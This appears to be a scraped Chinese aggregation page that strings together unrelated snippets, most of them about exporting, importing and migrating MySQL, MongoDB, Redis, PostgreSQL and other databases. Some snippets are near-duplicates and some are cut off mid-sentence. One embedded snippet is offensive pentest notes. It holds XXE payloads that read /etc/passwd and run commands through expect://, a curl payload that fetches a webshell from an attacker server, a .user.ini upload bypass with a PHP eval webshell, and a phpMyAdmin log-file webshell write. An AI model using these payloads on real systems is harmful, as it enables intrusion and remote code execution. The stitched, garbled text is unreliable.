随着互联网和大数据技术的发展,NoSQL数据库 在数据存储和处理中扮演着越来越重要的角色。
上个月跟朋友一起做了个微信小程序,趁着5.20节日的热度,两个礼拜内迅速积累了一百多万用户,我们在小程序页面增加了收集formid的埋点,用于给微信用户发送模板消息通知。
MongoDB 是一种文档型数据库(官网:https://www.mongodb.com/),由于它的高可用性、高扩展性和高性能而被广泛应用于大数据、云计算等领域。本篇文章将详细介绍 MongoDB 的概念、特点以及使用场景,并分析三款常用的 MongoDB 可视化管理工具。
第一种迁移方案 mysqldump迁移 mysqldump导出数据库成一个sql文件(快) scp命令复制到另一台服务器(快) source命令导入数据,cpu跑满(比较耗时) 脚本迁移 命令行操作数据库进行数据的导出和导入(比较耗时) 第二种迁移方案 redis搭建一个“生产+消费”的迁移方案 在源数据服务器上跑一个多线程脚本,并行读取数据库里面的数据,并把数据写入到redis队列 目标服务器作为一个消费者,在目标服务器上也跑一个多线程脚本,远程连接redis,并行读取redis队列里面的数据,并
工欲善其事必先利其器,想要玩溜数据库,不妨去试试本文安利的 5 款开源的数据库管理工具。除了流行的 SQL 类数据库——MySQL、PostgreSQL 之外,文档型数据库 MongoDB、内存数据库 Redis 的管理工具也在列表之中。
在日常学习和工作,难免不了使用Mysql数据库,有时候需要导入导出数据库,或者其中的数据表。下面是我自己整理的一些东西! 在Navicat Premium,sqlyong等工具中导入导出数据库,在这里就不做说明。这里介绍的是在dos命令模式下进行数据库的导入导出,(Linux中使用的语法和dos大致相同)有需要了解的朋友可参考。
1.3、XXE相关技巧 1.3.1、XXE载荷构技巧 使用seclists的XXE-Fuzzing.txt的第9行,做一个简单改造即可使用。对比如下: 改造前: <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 改造后: <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> XXE-Fuzzing.txt的路径:SecLists\Fuzzing\XXE-Fuzzing.txt 有了上述载荷以后,再加上回显位置即可成功利用,完整载荷示例: <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> <name> <email> &foo; </email> </name> 1.3.2、命令执行&&getshell 命令执行的原理是把文件读取用的file://协议换成了expect://协议。 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://id" >]> <name> <email> &foo; </email> </name> getshell则是命令执行的变种,通过上传webshell来。 利用前提:知道目标服务器的脚本语言类型和webshell上传后的大致位置。如果是OSS上,直接寄。 1)使用python托管webshell python -m http.server 8088 2)下载webshell <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://curl$IFS'vps_addr:port/111.php'$IFS-o$IFS'222.php'" >]> <name> <email> &foo; </email> </name> 此处webshell下载解析: curl -O vps_addr:port/111.php curl vps_addr:port/111.php -o 222.php 空格用$IFS来替代,没啥好说的,常规思路。 下载url不能带协议 下载url用单引号包裹,如果是-o方式,保存文件的名称也用单引号包裹起来。 1.4、.user.ini文件上传 这个跟.htaccess差不多,.user.ini是php给用户的自定义配置文件,可将指定文件按照php脚本文件的形式解析。 介绍:https://blog.csdn.net/cosmoslin/article/details/120793126 利用过程: 1)上传.user.ini filename:.user.ini Content-type:image/jpeg 文件正文: GIF89a auto_prepend_file = aaa.jpg 2)上传webshell filename: aaa.jpg Content-type:image/jpeg 文件正文: GIF89a <?php @eval($_POST[22]);?> # 可替换为其他webshell 1.5、盲注分析 导出数据包: 文件——导出分组解析结果——为纯文本 通过notepad++解码: 提取所有注入数据包,此处使用notepad++中的标记功能,查找模式设置为正则表达式。 提取出来以后,找到临界值。当上面的查询语句从1,1到2,1,则上一条语句的=''的值就是SQLi获取到的数据。 找到所有数据后,用英文的逗号隔开,然后使用convert从dec转成text。 1.6、phpmyadmin后台写日志马 前提:知道web根目录。 set global general_log = 'on'; set global general_log_file = 'c:/phpstudy/111.php' select "<?php @eval($_POST[22]);?>" web根目
业界公认最好的Java开发工具,平时用的最多。可以安装大量插件丰富功能,开发前端应用也不在话下!
本文档将详细介绍如何对 TiDB 进行全量备份与恢复。增量备份与恢复可使用 TiDB Binlog。
离线数据分析平台实战——130Hive Shell命令介绍 02(熟悉Hive略过) 导入数据 Hive的导入数据基本上可以分为三类, 第一种是从linux系统上导入数据到hive表中, 第二种是从hdfs上导入数据到hive表中, 第三种是从已有的hive表中导入数据到新的hive表中。 其中第一种和第二种语法基本类似; 在前面介绍的使用create table ... as... 命令创建表并导入数据,也属于第三种导入数据方法。 使用前两种方式导入数据,只是复制或者移动数据文件,并不会对数据的
上个月跟朋友一起做了个微信小程序,趁着元旦放假的热度,两个礼拜内迅速积累了一百多万用户,我们在小程序页面增加了收集formid的埋点,用于给微信用户发送模板消息通知。
PostgreSQL 数据的导入导出本身并没有特别高的技术要求,属于日常操作,但熟悉导入导出以及选择数据导入导出的方式还是有点思考空间的。怎么导出数据的方式更稳妥,更适应业务的需求。下面就先总结数据导入导出中的数据导出的一部分方式和命令的实例,其中一些也是我在总结中发现的,例如COPY 的方式还可以有加速的方式,有时候觉得简单,和简单是两码事。
在日常的运维工作中除了频繁操作基本的SQL语句外,还有另外一种场景,就是数据的导出与导入操作。
学会数据库的导入导出非常重要,为什么呢?向下看。首先您可以把数据转储进行备份和还原,以便在紧急情况下恢复数据库的旧副本。您还可以把数据迁移到新服务器或开发环境。
1、查看索引是否设置妥当,即所用的查询条件是否有添加索引,当然索引不是越多越好,只需给常用的查询条件加上即可,一般采用B+树的索引方式(具体原因可自行百度,不再赘述)
比方你要查询enterpriseaics中的全部字段的值到d盘的aa.txt中去,注:aa.txt不能存在,否则会报错。
MySQL是一种广泛使用的开源关系型数据库管理系统,它支持多种操作系统。在数据库管理过程中,我们经常需要导入或导出数据,以进行备份、迁移或数据恢复。
看到 Elasticsearch 数据导出需求,我的第一反应是,好好的为啥要导出?
随着互联网的使用人数越来越多,产生的数据也越来越多。根据数据我们可以分析出很多有用的信息。这也就是当前为什么大数据这么火的行为。
MySQL命令行导出数据库: 1,进入MySQL目录下的bin文件夹:cd MySQL中到bin文件夹的目录如我输入的命令行:cd C:\ProgramFiles\MySQL\MySQL Server 4.1\bin (或者直接将windows的环境变量path中添加该目录)
默认端口:3360 ;默认主机地址:127.0.0.1 也可以写成 localhost
在使用 Logstash 从 pg 库中将一张表导入到 ES 中时,发现 ES 中的数据量和 PG 库中的这张表的数据量存在较大差距。如何快速比对哪些数据没有插入?导入过程中,Logstash 日志没有异常。PG 中这张表有 7600W。
https://www.jianshu.com/p/9f2c162ac77c 可参考
导出生成大批量数据的文件,一个Excel中最多存有五十万条数据,查询多余五十万的数据写多个Excel中。导出完成是生成的多个Excel文件打包压缩成zip,而后更新导出记录中的压缩文件路径。
如果是导入所有数据库的数据之后,需要flush一下数据库。因为mysql库是包含用户的,如果不flush权限,则会导致这些导入的用户无法登陆使用。
mysqldump: Error 1412: Table definition has changed, please retry transaction when dumping table `t20230811_0` at row:0
下文对使用MySQL命令行备份及恢复数据库的方法及步骤进行了详细的介绍,如果您对MySQL命令行方面感兴趣的话,不妨一看。
一、进入PostgreSQL数据库 Linux下切换到postgres用户,执行psql即可进入
微言聊天室是基于前后端分离,采用SpringBoot+Vue框架开发的网页版聊天室。使用了Spring Security安全框架进行密码的加密存储和登录登出等逻辑的处理,以WebSocket+Socket.js+Stomp.js实现消息的发送与接收,监听。搭建FastDFS文件服务器用于保存图片,使用EasyExcel导出数据,使用Vue.js结合Element UI进行显示弹窗和数据表格分页等功能,以及整个系统的界面进行UI设计,并且使用MyBatis结合数据库MySQL进行开发。最后使用了Nginx进行部署前后端分离项目。
mysql -h localhost -u root -proot < /itoffer_new.sql
Zset:每个元素都会关联一个double类型的分数,redis通过分数来为集合中的成员进行从小到大的排序
作为站点或服务器运维人员,网站的备份与还原操作是必须熟练的。MySQL 数据库的导出和导入操作是必不可少的,对于一般的用户,可能使用的比较多的是 phpMyAdmin 这样的可视化操作界面,但是这种界面操作在数据库比较大的情况下,经常出错。
oracle导数据有很多方法, 官方推荐的是exp/imp和数据泵(expdp/impdp).
使用mongo自带命令来迁移数据,思路是先导出集合数据再导入到数据库中 导出命令:mongoexport 语法:mongoexport -d dbname -c collectionname -o filepath --type json/csv -f field
学习了http://www.cnblogs.com/fnng/p/3565912.html
1.导出整个数据库 mysqldump -u 用户名 -p 数据库名 > 导出的文件名 mysqldump -u dbuser -p dbname > dbname.sql
前段时间想着将个人博客站设置https,在实践的过程中出了不少错误,而且发现现在的服务端不利于快速维护。所以考虑再三直接重新搞了一个服务器。在此记录过程。
修改mysql配置文件/etc/my.cnf 或 my.ini,在[mysqld]下添加
本节主要介绍通过云主机自带的iptables(防火墙)功能来做代理服务的转发,因为MySQL的用户比较多可以看到很多网友对这里也有一些需求所以这里以它为例,但通过本方式除MySQL外还可以实现很多服务(Redis\MongoDB\SQLServer)内外网的互通。 以MySQL为例本机介绍三个话题:
项目中E端有一个订单导出的功能能(导出销售订单或者销售退单,导出列颇多,且必须满足实时数据)。我们使用POI导出数据,并且后端加了熔断措施,导出限流,大促期间导出开关控制。相对来说有了这些机制线上应用不会因为导出操作流量过大内存爆掉,也保证了应用安全稳定的运行,但是最近监控发现导出操作性能急剧下降(数据量已经超过3百万),先看看监控。
需求:将一个redis实例(如10.10.10.1:6379)范围内所有key值中的 .letssing.net 替换为 .kaixinvv.com。
在 MySQL 中如果只要导出数据的话,我们可以使用 SEELCT…INTO OUTFILE 语句将查询的数据导出到指定的磁盘文件中。语法如下:
我的 Django 项目做了一次实际的项目移植,就是把同一个项目连同数据库中存储的信息迁移到另外一个环境中。具体是把服务器上面的数据库迁移到了本地,也就是 Linux 服务器到本地 Windows,这篇文章就来简述一下我具体的操作过程。
Power BI 矩阵,是信息密度最大的图表,终端用户在使用时,希望导出数据时可以是所见即所得的。在 2021 年 11 月更新后,此功能终于上线,满足了用户历史上的需求。
领取专属 10元无门槛券
手把手带您无忧上云